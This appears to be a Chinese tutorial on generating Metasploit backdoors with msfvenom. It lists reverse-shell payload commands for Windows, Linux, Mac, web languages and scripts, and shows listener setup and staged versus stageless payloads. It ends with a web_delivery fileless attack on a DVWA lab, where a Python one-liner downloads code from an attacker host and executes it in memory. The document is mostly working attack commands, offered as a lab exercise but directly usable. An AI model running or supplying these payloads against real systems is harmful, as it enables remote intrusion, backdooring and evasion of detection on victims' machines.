msfvenom
msfvenom是msfpayload和msfencode的组合。将这两个攻击集成在一个框架示例中。它是用来生成后门的软件,在目标机器上执行后门,在本地监听上线
msfvenom基本参数
msfvenom生成payload
https://blog.csdn.net/qq_34839026/article/details/128722499?ops_request_misc=&request_id=&biz_id=102&utm_term=msfvenom%E7%94%9F%E6%88%90payload&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-128722499.142^v88^control_2,239^v2^insert_chatgpt&spm=1018.2226.3001.4187
可执行程序payload
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -a x86 --platform Linux -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
Windows
32位
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe > shell.exe
64位
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=ip LPORT=4444 -a x86 --platform osx -f macho > shell.macho
攻击Windows64位实例
生成可执行文件木马
开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip
set lport port
run/exploit
exploit -j 放在后台运行
jobs 查看
把刚刚生成的木马文件放到靶机里执行
这样就拿到了meterpreter
web payload
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=ip LPORT=4444 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=4444 -f asp > shell.asp
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=4444 -f raw > shell.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=4444 -f war > shell.wars
攻击实例
生成php木马文件
设置监听
在靶机里面执行刚刚生成的木马文件
然后就拿到了meterpreter
脚本payload
python
msfvenom -p cmd/unix/reverse_python LHOST=ip LPORT=4444 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=ip LPORT=4444 -f raw > shell.py
bash
msfvenom -p cmd/unix/reverse_bash LHOST=ip LPORT=4444 -f raw > shell.sh
perl
msfvenom -p cmd/unix/reverse_perl LHOST=ip LPORT=4444 -f raw > shell.pl
staged&stageless payload
payload | staged | stsgeless |
---|---|---|
reverse_tcp | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
reverse_https | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
bind_tcp | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
reverse_tcp ipv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
stageless
Stageless meterpreter是一个二进制文件,包含meterpreter的所有必需部分以及所有必需的扩展,全部捆绑在一起,将完整的payload都编译在木马文件中体积较大
staged
staged meterpreter负责建立目标用户与攻击者之间的连接,将执行传递到另一个阶段,如reverse_tcp,bind_tcp
stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执行,还需要通过其他的工具进行管理
攻击Windows实例
靶机:windows
攻击机:kali
web_delivery
当攻击者用户受害者主机的部分控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场了。
web_delivery的主要目的是快速和受害者主机建立一条session,当受害者主机存在比如命令注入、远程代码执行等问题时,攻击者可以使用web_delivery生成一条命令进行连接。
另外web_delivery不会在受害者的主机磁盘上写文件,而是直接将攻击者的服务器上的代码加载到内存执行,有利于绕过检测。
web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target 0、1、2来进行设置是什么类型的脚本。
use exploit/multi/script/web_delivery
set payload ……
set lhost
set lport
set targets 序号
run
方法一:通过web站点,使用无文件的方式攻击利用
当我们已经确定了要攻击的靶机,那么下一步就应该去扫描端口,看哪些端口是开放着的
namp -sV -T4 靶机IP
然后根据开放的端口进行攻击
这里靶机漏洞以dvwa靶场的命令执行为例
首先利用web_delivery生成木马
然后把生成的木马放到靶机的漏洞里执行
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.197.128:8080/eWDQyMGivssnLlv',context=ssl._create_unverified_context());exec(r.read());"